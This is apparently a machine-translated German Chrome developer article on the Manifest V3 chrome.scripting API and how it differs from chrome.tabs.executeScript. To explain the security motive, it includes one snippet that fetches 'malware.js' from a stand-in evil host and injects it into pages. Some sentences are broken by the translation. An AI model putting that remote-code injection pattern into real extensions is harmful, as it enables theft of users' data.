Manifest V3 enthält eine Reihe von Änderungen an der Erweiterungsplattform von Chrome. In diesem Beitrag
werden wir uns mit den Beweggründen und Änderungen befassen, die durch eine der nennenswertesten Änderungen eingeführt werden:
Einführung der chrome.scripting
API.
Was ist chrome.scripting?
Wie der Name schon andeutet, ist chrome.scripting
ein neuer Namespace, der in Manifest V3 eingeführt wurde
verantwortlich für Script- und
Style-Injection-Funktionen.
Entwickler, die in der Vergangenheit Chrome-Erweiterungen erstellt haben, sind möglicherweise mit Manifest V2-Methoden vertraut
in der Tabs API wie chrome.tabs.executeScript
und
chrome.tabs.insertCSS
Mit diesen Methoden können
Erweiterungen Skripts und
Stylesheets in Seiten verpacken können. In Manifest V3 wurden diese Funktionen
chrome.scripting
. Wir planen, diese API in Zukunft um einige neue Funktionen zu erweitern.
Gründe für das Erstellen einer neuen API
Bei einer solchen Änderung wird eine der ersten Fragen, die häufig auftauchen, „Warum?“ gestellt.
Aufgrund verschiedener Faktoren entschied sich das Chrome-Team für einen neuen Namespace für die Skripterstellung.
Erstens ist die Tabs API eine Art Junk-Schublade für Funktionen. Zweitens mussten wir
Änderungen an der vorhandenen executeScript
API. Drittens: Wir wollten die Skripterstellung erweitern,
Funktionen für Erweiterungen. Zusammen haben diese Bedenken klar definiert, dass ein neuer Namespace erforderlich ist, um
Haus-Scripting-Funktionen nutzen.
Die Müllschublade
Ein Problem, das das Team für Erweiterungen in den letzten Jahren beschäftigt hat, ist,
Die chrome.tabs
API ist überlastet. Bei der Einführung dieser API waren
die meisten Funktionen
bezogen sich auf das allgemeine Konzept eines Browsertabs. Aber selbst damals war es noch
alles im Blick und im Laufe der Jahre ist diese Sammlung immer größer geworden.
Bei der Veröffentlichung von Manifest V3 war die Tabs API bereits Auswahlverwaltung, Fensterorganisation, Messaging, Zoomsteuerung, einfache Navigation, Skripterstellung und kleinere Funktionen nutzen können. All diese Aspekte sind wichtig, und für das Chrome-Team bei der Wartung der Plattform und Anfragen aus der Entwickler-Community berücksichtigen.
Ein weiterer komplizierter Faktor ist, dass die Berechtigung tabs
nicht gut verstanden wurde. Während viele andere
Berechtigungen beschränken den Zugriff auf eine bestimmte API (z. B. storage
). Diese Berechtigung ist eine
ungewöhnlich, da sie der Erweiterung nur Zugriff auf vertrauliche Eigenschaften auf Tab-Instanzen
Erweiterung auch auf die Windows-API auswirkt). Viele Erweiterungsentwickler glauben,
Sie benötigen diese Berechtigung, um auf Methoden in der Tabs API zugreifen zu können, z. B. chrome.tabs.create
oder
chrome.tabs.executeScript
. Durch das Verschieben von Funktionen aus der Tabs API können wir
einige dieser Verwirrung.
Wichtige Änderungen
Eines unserer Hauptprobleme bei der Entwicklung von Manifest V3 war Missbrauch und Malware. durch „remote gehosteten Code“ aktiviert – Code, der ausgeführt wird, aber nicht in der Erweiterung enthalten ist Paket. Es ist normal, dass von Verfassern von Erweiterungen, die von Remote-Servern abgerufen werden, Skripts ausgeführt werden, Diebstahl von Nutzerdaten, Einschleusen von Malware und Umgehen von Erkennungsmechanismen Gute Akteure nutzen diese Möglichkeit zwar auch, fand es einfach zu gefährlich, so zu bleiben, wie es war.
Es gibt verschiedene Möglichkeiten, wie Erweiterungen entbündelten Code ausführen können.
hier ist die chrome.tabs.executeScript
-Methode von Manifest V2. Mit dieser Methode kann eine Erweiterung
Beliebigen Code-String auf einem Ziel-Tab ausführen. Dies bedeutet wiederum, dass ein bösartiger Entwickler
ein beliebiges Skript von einem Remote-Server abrufen und auf jeder Seite ausführen kann, die die Erweiterung
Zugriff haben. Um das Remote-Code-Problem zu lösen, mussten wir diese
.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Wir wollten auch einige andere, leichtere Probleme mit dem Design der Manifest V2-Version die API zu einem ausgefeilteren und besser vorhersehbaren Tool machen.
Obwohl wir die Signatur dieser Methode in der Tabs API ändern können, waren wir der Meinung, funktionsgefährdende Änderungen und die Einführung neuer Funktionen (wird im nächsten Abschnitt behandelt), wäre es für alle einfacher.
Erweiterung der Skriptfunktionen
Ein weiterer Aspekt, der in den Entwicklungsprozess von Manifest V3 einfließt, war der Wunsch,
der Erweiterungsplattform von Chrome. Konkret sollten wir
Skripts für dynamische Inhalte unterstützt und die Möglichkeiten der executeScript
-Methode erweitert.
Die Unterstützung von Skripts für dynamische Inhalte ist eine langjährige Funktion in Chromium. Heute
Mit den Chrome-Erweiterungen von Manifest V2 und V3 können Inhaltsskripte nur in ihren
manifest.json
-Datei; bietet die Plattform keine Möglichkeit,
neue Inhaltsskripte zu registrieren,
Content-Skript registrieren oder die Registrierung von Content-Skripts zur Laufzeit aufheben.
Obwohl wir wussten, dass wir diese Funktionsanfrage in Manifest V3 bearbeiten wollten,
APIs fühlten sich wie das richtige Zuhause an. Wir erwägen auch eine Abstimmung mit Firefox bei den Content Scripts.
API. Wir haben jedoch schon sehr früh
ein paar große Nachteile bei diesem Ansatz erkannt.
Zunächst wussten wir, dass wir inkompatible Signaturen haben würden (z.B. fehlende Unterstützung für die code
. Zweitens hatte unsere API andere Designbeschränkungen (z.B. eine Registrierung für
über die Lebensdauer eines Service Workers hinaus bestehen bleiben. Dieser Namespace würde uns auch
Content-Skript-Funktionen, bei denen
wir über das Erstellen von Skripts in Erweiterungen nachdenken.
Im Hinblick auf executeScript
wollten wir außerdem die Möglichkeiten dieser API über die Tabs hinaus erweitern.
API-Version wird unterstützt. Genauer gesagt wollten wir Funktionen und Argumente einfacher unterstützen,
Targeting auf bestimmte Frames und Targeting ohne "Tab" Kontexte.
Außerdem überlegen wir, wie Erweiterungen mit installierten PWAs und anderen Kontexte, die sich konzeptionell nicht „Tabs“ zuordnen lassen.
Änderungen zwischen „tabs.executeScript“ und „scripting.executeScript“
Im restlichen Teil dieses Beitrags möchte ich auf die Gemeinsamkeiten und Unterschiede
zwischen chrome.tabs.executeScript
und
chrome.scripting.executeScript
Funktion mit Argumenten einfügen
Unter Berücksichtigung der Weiterentwicklung der Plattform angesichts des remote gehosteten Codes wollten wir ein Gleichgewicht zwischen der rohen Leistung der Ausführung von beliebigem Code und um Skripts mit statischen Inhalten zuzulassen. Unsere Lösung bestand darin, Erweiterungen das Einfügen eines als Inhaltsskript verwenden und ein Array von Werten als Argumente übergeben.
Sehen wir uns kurz ein (zu vereinfachtes) Beispiel an. Angenommen, wir wollen ein Skript einschleusen, begrüßt den Nutzer namentlich, wenn er auf die Aktionsschaltfläche der Erweiterung (Symbol in der Symbolleiste) klickt. In Manifest V2 könnten wir dynamisch einen Codestring erstellen und dieses Skript im aktuellen Seite.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Manifest V3-Erweiterungen können keinen Code verwenden, der nicht in der Erweiterung enthalten ist. Unser Ziel war es, Sie können die Dynamik beibehalten, die beliebige Codeblöcke für Manifest V2-Erweiterungen aktiviert sind. Die Funktion und Argumenten ermöglicht es Chrome Web Store-Prüfern, Nutzern und anderen interessierte Parteien, um die Risiken einer Erweiterung genauer einzuschätzen und gleichzeitig Entwickler das Laufzeitverhalten einer Erweiterung je nach Nutzereinstellungen oder Anwendungsstatus ändern können.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Targeting-Frames
Außerdem wollten wir die Interaktion von Entwicklern mit Frames in der überarbeiteten API verbessern. Manifest V2
Mit der Version von executeScript
konnten Entwickler das Targeting entweder auf alle Frames in einem Tab oder auf eine bestimmte
auf dem Tab. Mit chrome.webNavigation.getAllFrames
können Sie eine Liste aller Frames in
einen Tab.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
In Manifest V3 haben wir das optionale Ganzzahlattribut frameId
im Optionsobjekt durch ein
Optionales frameIds
-Array mit Ganzzahlen So können Entwickler mehrere Frames in einem
API-Aufruf.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Script-Injection-Ergebnisse
Außerdem haben wir die Rückgabe von Script-Einschleusungsergebnissen in Manifest V3 verbessert. Ein „Ergebnis“ ist
also die endgültige Anweisung,
die in einem Skript ausgewertet wird. Stellen Sie sich das wie den Wert vor, der zurückgegeben wird, wenn Sie
eval()
aufrufen oder einen Codeblock in der Chrome-Entwicklertools-Konsole ausführen, der aber serialisiert ist, um
Ergebnisse über verschiedene Prozesse hinweg weiterzugeben.
In Manifest V2 würden executeScript
und insertCSS
ein Array von einfachen Ausführungsergebnissen zurückgeben.
Dies ist in Ordnung, wenn Sie nur einen einzigen Injection-Point haben, die Ergebnisreihenfolge aber nicht garantiert ist,
in mehrere Frames eingeschleust, sodass man nicht erkennen kann, welches Ergebnis
Frame.
Sehen wir uns als konkretes Beispiel die results
-Arrays an, die von Manifest V2 zurückgegeben werden, und einem
Manifest V3-Version derselben Erweiterung. Beide Versionen der Erweiterung injizieren dasselbe
und die Ergebnisse werden auf derselben Demoseite verglichen.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Wenn wir Manifest V2 ausführen, wird ein Array von [1, 0, 5]
zurückgegeben. Welches Ergebnis entspricht
zum Hauptframe und welche für den iFrame? Der Rückgabewert gibt keinen Aufschluss darüber,
Natürlich.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
In der Manifest V3-Version enthält results
jetzt ein Array von Ergebnisobjekten anstelle eines Arrays
nur die Bewertungsergebnisse. Die Ergebnisobjekte identifizieren eindeutig die ID des Frames für jedes
Ergebnis. Dies macht es Entwickelnden viel einfacher, das Ergebnis zu nutzen und Maßnahmen für eine bestimmte
Frame.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Zusammenfassung
Positive Ausschläge bei Manifestversionen stellen eine seltene Möglichkeit dar, Erweiterungs-APIs zu überdenken und zu modernisieren. Unser Ziel
mit Manifest V3 die Nutzererfahrung
zu verbessern, indem es Erweiterungen sicherer macht,
die Entwicklererfahrung zu verbessern. Mit der Einführung von chrome.scripting
in Manifest V3 konnten wir
zur Bereinigung der Tabs API, zur Neudefinition von executeScript
als einer sichereren Plattform für Erweiterungen,
und die Grundlage für neue Skriptfunktionen zu schaffen, die im Laufe des Jahres eingeführt werden.